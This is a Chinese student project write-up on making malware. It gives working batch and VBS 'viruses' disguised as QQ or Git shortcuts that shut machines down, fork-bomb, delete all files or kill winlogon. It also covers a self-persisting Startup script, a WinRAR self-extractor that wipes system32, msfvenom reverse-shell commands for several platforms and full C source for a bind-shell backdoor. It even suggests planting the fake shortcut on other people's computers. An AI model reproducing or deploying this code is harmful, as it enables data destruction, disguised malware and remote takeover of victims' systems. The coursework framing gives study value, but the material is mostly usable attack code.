20155326《网络对抗》免考项目——恶意代码的研究与深入分析之恶意代码的生成
病毒的几种制作方法
计算机病毒的制作方法有很多,这里重点介绍三种方法。
通过创建批处理
批处理(Batch).也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat。批处理是一种简化的脚本语言.也称作宏。它应用于Dos和windOW$系统中。它是由DOS或者Windows系统内嵌的命令解释器(通常是command.corn或者cmd exe)解释运行。类似于Unix中的Shell脚本。
批处理最简单的应用是逐行书写在命令行中会用到的各种命令。更复杂的情况.需要使用玎.for、goto等命令控制程序的运行过程.如同C、Basle等中高级语言一样。如果需要实现更复杂的应用.利用外部程序是必要的.这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件.可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。在“命令提示”下键人批处理文件的名称.或者双击该批处理文件.系统就会调用cmd.既e运行该批处理程序。一般情况下.每条命令占据一行;当然也可以将多条命令用特定符号(如:&、&&、I、II等)分隔后写入同一行中:还有的情况就是像订、for等较高级的命令则要占据几行甚至几百行的空间。系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令.直至程序结尾或遇见exit命令或出错意外退出。最简单的方法是用“copycon主文件名.bat”来创建bat文件,在创建完后按CTRLvZ键来结束。但这种方法的缺点是只能写,不能改。其常指令有:Call,Echo、For、Cow、If、Pause、Rem多种。
这个的原理就是,点击.bat文件,会自动在cmd中运行文件中的代码,所以只需在代码中加入攻击元素,便会达到攻击效果。
- Restara病毒制作
Restara是一款可以让计算机重启的病毒,这种病毒运行后,计算机会重启,正在编辑的数据可能会全部消失。
这里我们通过创建批处理来制作一个病毒。
新建一个记事本,在记事本里输入:shutdown /r,注意空格。
点击“另存为”,选择保存类型为“所有文件”,更改文件名为“腾讯QQ”,然后保存在桌面。
右键——创建快捷方式,然后右键快捷方式——属性。
点击更改图标
点击浏览,选择.ico文件。
搜索我本机里面的qq.ico,选择后发现他是一个不可用的,好吧,我自己下载了一个low版的qq图标。
之后点击确定。
点击查看冒牌的“腾讯QQ快捷方式”,右键——属性,选择隐藏后保存
这时一个restart病毒就做好啦,为了防止我的虚拟机坏掉,我快速的在运行他之前给虚拟机来了一个快照。
点击运行我的小病毒,果然,首先他在cmd命令下自动输入了自动关机之前记事本里面的语句(太快了,我试了好几遍都没抓到打开的cmd窗口),然后电脑发出警告,将在一分钟之内关机
然后我发现他隐藏的还是不够完美,于是我将它名字直接改成了腾讯QQ,嘻嘻,除了这个.ico有点出戏以外看着还是蛮真的。我可以把它拷到别人的电脑上,然后当他一不小心点击以后便会遭到攻击。
接下来按照同样的方法,我们制作几个不同功能能的小病毒:
1、重复执行某条命令直至死机的批处理代码:
start cmd
%0
这次我们做成Git软件的样子,制作完成后记得隐藏.bat文件。
由于它具有攻击性,所以我将他拷到我的虚拟机中进行试验。哇这个,太猛了,我的虚拟机不停地弹窗口出来,也不能选择关机,电脑开始发热,最后只能选择在360小助手中结束了vm的进程。
受到上一个的惊吓,我决定不演示下面的病毒了,给出代码让大家看看就好。
2、复制一个文件的磁盘的每个子文件夹当中
for /r /d %a in (*) do copy test.txt "%a" /y
3、不停地执行同一条命令
for /l %a in (1,0,2) do net send 192.168.1.1 "×××来了!"
4、死机,蓝屏
ntsd -c q -pn winlogon.exe(蓝屏重启)
ntsd -c q -pn csrss.exe(死机)
5、创建无法删除的特殊名字文件夹
md \.c:con
md \.c:aux
6、创建无法双击打开无法删除的另类文件夹
md test..
rd test.. /s /d
7、注销
rundll32.exe user32.dll LockWorkStation
8、删除磁盘所有文件
del * /a /q /f
通过vbs代码
VBS脚本病毒是使用VBScript编写。以宏病毒和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单,使用VBScript编写。他的攻击方式和批处理相似。
新建一个文本文档,输入以下代码
PS:代码里面WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。
然后把它的后缀名改成.vbs
时你只要双击,就可以看到你的vbs文件运行了,也就是说你已经成功创作!!!
将弹出的对话框删掉,会出现下面的新对话框,叉掉后又有新的出来,反复循环,是关不掉的。这是貌似只能按照他的要求输入。
好吧,没有在两分钟之内输入*是猪,于是他关机重启了。
开机后,我们再来看看他的一次完整整蛊是什么样。
尝试将他中途关掉,我打开任务管理器,准备结束这个应用程序,结果如下:
我关了这个又自动弹开了另一个,真是拿他没有办法,所以我又一次被动关机重启了电脑。
看来我的这个小程序还是比较强的呀嘻嘻。
接下来再来几个骚扰型小病毒啦啦啦
- 无尽语音报数:
无限语音从1数到无限大。
在新建txt里面输入下面代码,之后改变其后缀为.vbs,运行来看看。
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
没办法把音频放上来就来个这个假装有声音吧。
- 无尽刷新
慎用,如此刷新打开任务管理器都难,只能拔掉电源。
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
好吧,点击了以后我的电脑无法自理了。。。重启+1
-
修改注册表:
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup")
if not f="Win32.vbs" then wr.copyfile f,q&"Win32.vbs",true
ws.run"shutdown -p",vbhide
这应该是启动的意思,让我们来看看效果。
叮咚一声脆响,我的电脑又关机了。实践告诉我,这是启动关机。还可以使用其他的语句来达到你的攻击效果。
当我想尝试下一个小病毒时发现我的电脑已经挂掉了,一开机就会关机,多一秒让我看看熟悉的开机主页面机会都不给。还好我有快照!哈哈哈
- QQ信息骚扰恶搞:
打开好友的聊天对话框,然后记下聊天对话框的名称(如图:"28754857"),填到代码中。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("28754857")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
PS:这里"28754857"是我的qq里面的一个联系人的备注名称。
按之前步骤,调整格式后,点击它看看会发生什么。
很奇怪,只发送了后几次。再次尝试后发现了他的正确使用方法:在点击这个骚扰病毒后,马上和对方发消息,然后骚扰信息就会全发送给对方啦。
使用WinRAR
前两种制造病毒的方法都会用到一些编程工具代码等,下面这种用WinRAR快速简单制作一个破坏系统的病毒,不需要任何代码。
WinRAR我想大家都不会陌生,一款非常常用的压缩软件,。
首先打开WinRAR,点击【添加】把文件添加到压缩文件中,点击【常规】创建自解压格式压缩文件
选择 高级——自解压选项
高级自解压选项【常规】解压路径,输入:%windir%system32 或 C:Windowssystem32。
选择 模式——全部隐藏。
点击 高级——目标文件夹中要删除的文件,输入:. 。
在 更新——更新方式,选择仅更新已经存在的文件,覆盖方式选择跳过已经在的文件
最后点击确定,生成了.exe文件。
这文件看着没有问题,但运行后就会破坏系统文件,所以理论上在运行后杀毒软件等就会进行拦截了。
运行后破坏系统文件,一开始运行后不会有什么反应,但重启电脑后就会发现系统提示文件丢失损坏。
由于我的win7虚拟机里面没有WinRAR,我又不敢在我的主机里面做,就暂且不足测试了。放一个别人的测试结果。
看到了这个评论,哈哈哈哈哈,更加坚定了我不手贱在我主机试毒。
利用Metasploi生成后门
Metasploit生成各种格式的后门。除了之前实验二生成的.exe(Windows下的后门),还有Linux环境下的后门、PHP后门、java后门、Android后门,以及shellcode等等。具体生成各种类型的后门的操作如下:
Linux下的后门
操作方法与Windows后门类似,输入msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.146.129 LPORT=5326 x> 20155326_backdoor生成木马。
与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名赋予可执行的权限。
执行时使用./程序名即可。
生成Java后门程序
Java程序在windows下和在linux下都可以生效执行。使用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.146.129 lport=5326 x> 20155326_backdoor.jar生成木马。
生成PHP后门程序
使用msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.146.129 lport=5326 x> 20155326_backdoor.php生成木马。
把生成的木马php文件放到网站上面,当别人访问的时候就会执行。
生成Android后门程序
使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.146.129 lport=5326 x> 20155326_backdoor.apk生成木马。
此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。
生成shellcode
使用msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.146.129 lport=5326 -f c生成一段shellcode。
将此shellcode写入可执行文件,执行时就会回连攻击机。
木马的生成
木马程序原理
木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。
常见的编程技术
修改注册表技术
多线程技术
后台监控技术
定时触发技术
木马编写
首先先在CB中新建一个Win32 Console Application工程。
写程序的时候我们需要想一下要实现那些功能,写木马同样一样,首先我准备写一个后门型木马,主要的功能就是给我们开一个端口,让我们使用Telnet命令连接上去,从而控制目标计算机,作为木马,我们当然还需要隐藏自己。
代码如下:
#pragma comment(lib,"ws2_32.lib") //这里我们静态加入一个lib文件,也就是ws2_32.lib</font>
#pragma comment(linker,"/subsystem:"windows"/entry:"mainCRTStartup"") //设置连接器选项
#include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件
#include <windows.h> //常用的,不解释
#define MasterPort 5326 //定义一个常量,也就是我们后面要打开的端口
#include <stdio.h>
#include <stdlib.h>
int main()//主函数不解释
{
WSADATA WSADa;//这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释,不懂请大家自行百度
struct sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//分配内存,初始化数据
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&WSADa,sizeof(WSADATA));
//获取cmd路径
GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议,建立socket,代码如下:
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//设置绑定端口999
bind(CSocket,(SOCKADDR *)&SockAddrIn,sizeof(SockAddrIn));
//设置服务器端监听端口
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
//开始连接远程服务器,并配置隐藏窗口结构体
SSocket = accept(CSocket,(SOCKADDR *)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道:
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄:
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
return 0;
}
建立CSocket开始,然后绑定端口5326,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,是因为系统重启这个木马就会被清除了。因为并没有添加进系统启动项,隐藏进程。
接下来我们就将编译好的木马放在测试机上进行测试,可以发现运行程序并没有什么事情发生。
输入netstat -an 查看端口状况,发现程序已经在默默的在运行,而且打开了5326端口。
总结
这里我做了好多小病毒,在运行过程中并没有报毒,试想一下我将这些小病毒通过微信、邮件、U盘拷贝等方式传播出去,人们在不知情的情况下点击它,会产生什么影响,如果只是一些恶作剧还好,要是修改了注册表、执行了一些恶意操作,后果是不堪设想的。后门的制作我偏向于生成,没有详细展示他的攻击效果。